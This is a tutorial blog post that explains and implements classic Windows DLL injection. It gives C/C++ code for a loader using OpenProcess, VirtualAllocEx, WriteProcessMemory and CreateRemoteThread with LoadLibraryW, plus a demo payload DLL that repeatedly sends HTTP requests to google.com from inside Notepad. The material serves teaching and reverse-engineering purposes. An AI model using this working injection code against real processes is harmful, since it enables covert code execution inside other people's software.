Implementing DLL Injection

Writing and Detecting DLL Injection

Implementing DLL Injection
https://openart.ai/discovery/sd-1007234390394413076

Introducion

This post will introduce and cover the core concepts related to DLL Injection, including use cases, implementation, and identifying the technique during reverse engineering.

DLL Injection is a method of injection code into another process. As the name implies the core method involves injecting a DLL into the process and executing the contents of the DLL. This technique has multiple legitimate and illegitimate use cases.

The Windows operating system itself has support for DLL Injection and actively depends on the technique for the functionality of certain components. Primarily the native presence of DLL Injection can be found in the Win32 API function SetWindowsHookExA. However, this post will discuss another method of invoking DLL Injection.

Source Code for Examples

The source code associated with this post can be found on the following link.

Introduction to DLL Injection


There are two components in the DLL Injection lifecycle:

  • DLL Payload: The core payload that will be injected into another process.
  • DLL Injection Loader: The program responsible for performing the core injection logic and injecting the DLL Payload into another process.

DLL Injection involves the following steps:

  1. Open a process handle to a remote process.
  2. Allocate a region of memory in the remote process and copy the full path of the DLL Payload located on disk (For example, C:\file.dll).
  3. Use CreateRemoteThread to execute LoadLibraryA in the target process while also passing the region of memory from step #2 to LoadLibraryA.

The goal of this entire process is to run the LoadLibraryA function inside of a remote process and pass in the path of our DLL Payload.

Creating DLL Injection Payload

For example purposes, a DLL file that makes HTTP requests to Google will be used as a payload that will be injected into a foreign process. HTTP requests were chosen as it is simple to visually see the feedback in a tool such as Wireshark or any other network monitoring mechanism. This will provide the necessary feedback required to understand if this logic has been successfully injected into another process.

A core of the DLL payload is a function named sendHTTPRequest that will make use of the Windows Internet (WinINet) API functions to call out to Google.

int sendHTTPRequest() {

        LPCSTR userAgent = "agent";
        LPCSTR connectDomain = "google.com";
        LPCSTR httpRequestType = "GET";
        LPCSTR targetPath = "/test";

        HINTERNET internetHandle = InternetOpenA(userAgent, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
        if (internetHandle == NULL) {
                return -1;
        }

        DWORD_PTR dwService = (DWORD_PTR)NULL;

        HINTERNET httpHandle = InternetConnectA(internetHandle, connectDomain, INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, dwService);
        if (httpHandle == NULL) {
                return -1;
        }

        HINTERNET httpRequestHandle = HttpOpenRequestA(httpHandle, httpRequestType, targetPath, NULL, NULL, NULL, 0, dwService);
        if (httpRequestHandle == NULL) {
                return -1;
        }

        BOOL result = HttpSendRequestA(httpRequestHandle, NULL, 0, NULL, 0);
        InternetCloseHandle(internetHandle);

        return 1;
}
HTTP Request Function that acts as our "Payload'

There is a wrapper function named loopHTTPConnect responsible for calling sendHTTPRequest every two seconds.

void loopHTTPConnect() {

        while (true) {
                Sleep(2000);
                sendHTTPRequest();
        }
}
Function that loops through the "Payload" function

The loopHTTPConnect function will be invoked in a thread spawned in DLLMain whenever the DLL is loaded in a function.

Implementing DLL Injection

1️⃣
Open Handle to Remote Process

The first step is to open a handle to the target process we would like to inject code into.

In this case OpenProcess is used to open a specific target process though the PID. The process handle is opened with three access right permissions:

  • PROCESS_VM_OPERATION: Provides the ability to manipulate the address space of the target process, such as allocating and freeing memory.
  • PROCESS_VM_WRITE: Provides the ability to write to the target process address space.
  • PROCESS_CREATE_THREAD: Provides the ability to create new threads within the running target process.

All three of these access rights will allow for the core steps related to the injection process to succeed.

HANDLE hTargetProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, injectionTargetProcessID);
	if (hTargetProcess == NULL) {
		std::string errorMessage = GetLastErrorAsString();
		std::cout << "Failed to aquire handle to process: " << errorMessage << "\n";
		return -1;
	}
Opening a Process for DLL Injection
2️⃣
Allocate Buffer in Remote Process for DLL Path

The next step involves allocating a buffer in the target process with VirtualAllocEx. This buffer will be used to store a string containing the path of the DLL payload on the filesystem that we would like to inject into the process.

Note that this buffer space is given the memory protection of PAGE_READWRITE. This memory space will only ever be written to by the injection loader and read by the target process itself, as a result it is sufficient to allow Read and Write permissions on this memory space.

LPVOID remoteBuffer = VirtualAllocEx(hTargetProcess, NULL, sizeof(dllPayloadPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (remoteBuffer == NULL) {
        std::string errorMessage = GetLastErrorAsString();
        std::cout << "Failed to aquire handle to process: " << errorMessage << "\n";
        return -1;
}
Allocating a Buffer in Target Process to Hold DLL Path used for injection
3️⃣
Write Path of DLL Payload to Allocated Memory

After a memory buffer has been allocated in the target process the path to the DLL payload must now be written to it. The path to the DLL payload is defined as:

wchar_t dllPayloadPath[] = L"C:\\DLLPayload.dll";
Path of DLL Payload to Inject Written as a Wide String

WriteProcessMemory will be used to write this string to the newly allocated memory buffer in the target process.

if (!WriteProcessMemory(hTargetProcess, remoteBuffer, (LPVOID)dllPayloadPath, dllPayloadPathSize, NULL)) {
        std::string errorMessage = GetLastErrorAsString();
        std::cout << "Failed to aquire handle to process: " << errorMessage << "\n";

        VirtualFreeEx(hTargetProcess, remoteBuffer, 0, MEM_RELEASE);
        CloseHandle(hTargetProcess);

        return -1;
}
Writing DLL Path String to Allocoated Memory Space in Target Process

At this stage we have a buffer in the target process with a path to a DLL on the filesystem.

4️⃣
Load DLL Payload

The last stage will create a thread in the target process with CreateRemoteThread and execute the LoadLibraryW function, a function with the capability of loading DLLs into a process. The LoadLibraryW function will also take in the buffer allocated in the target process containing the full path of the DLL payload we would like to load.

The entire purpose of allocating the memory in the previous step was to have the DLL path within it so it can be passed as a parameter to LoadLibraryW. It is important to remember that the LoadLibraryW function is running inside of the target process and can only access the memory of the target process, this is why we needed to allocate the buffer in the target process.

LPTHREAD_START_ROUTINE pLoadLibraryAddress = (LPTHREAD_START_ROUTINE) LoadLibraryW;
HANDLE hThread = CreateRemoteThread(hTargetProcess, NULL, 0, pLoadLibraryAddress, remoteBuffer, 0, NULL);
if (hThread == NULL) {
        std::string errorMessage = GetLastErrorAsString();
        std::cout << "Failed to aquire handle to process: " << errorMessage << "\n";
}
else {
        printf("Injection Complete\n");
}
Run LoadLibraryW in the Target Process as a Thread to Load the DLL Payload

One key point to also understand is that ASLR does not apply to a set few DLLs that the Windows operating system has specify, one of which is Kerenl32.dll (the same DLL that contains LoadLibraryW. The address is only randomized at boot after which every process on the system shares the same addresses.

This point can be demonstrated with the following screenshot where kernel32.dll in Chrome and Edge have the same base address.

Kernel32.dll is loaded at the same address space in all processes

What this means is that the location of LoadLibraryW in the DLL Injector and the target process are the same. This is why can define the following variable and pass it directly to the CreateRemoteThread function.

LPTHREAD_START_ROUTINE pLoadLibraryAddress = (LPTHREAD_START_ROUTINE) LoadLibraryW;

HANDLE hThread = CreateRemoteThread(hTargetProcess, NULL, 0, pLoadLibraryAddress, remoteBuffer, 0, NULL);
if (hThread == NULL) {
	std::string errorMessage = GetLastErrorAsString();
	std::cout << "Failed to aquire handle to process: " << errorMessage << "\n";
}
else {
	printf("Injection Complete\n");
}
Defining LoadLibraryW as the Thread to Execute in the Target Process

DLL Injection Demonstration

The following GIF provides a video demonstration of the injection process. When the DLL Injector is executed we can see HTTP traffic begin in the Wireshark window. At the same time, we can see in Process Monitor the process responsible for this traffic is Notepad.

This is an indication of successful injection as Notepad by itself does not conduct any network activities.


Digging deeper, in Process Hacker we can see the buffer allocated to store the DLL payload path inside of Notepad.

Looking into the modules loaded by Notepad, we can also see the name of our pay (DLLPayload.dll).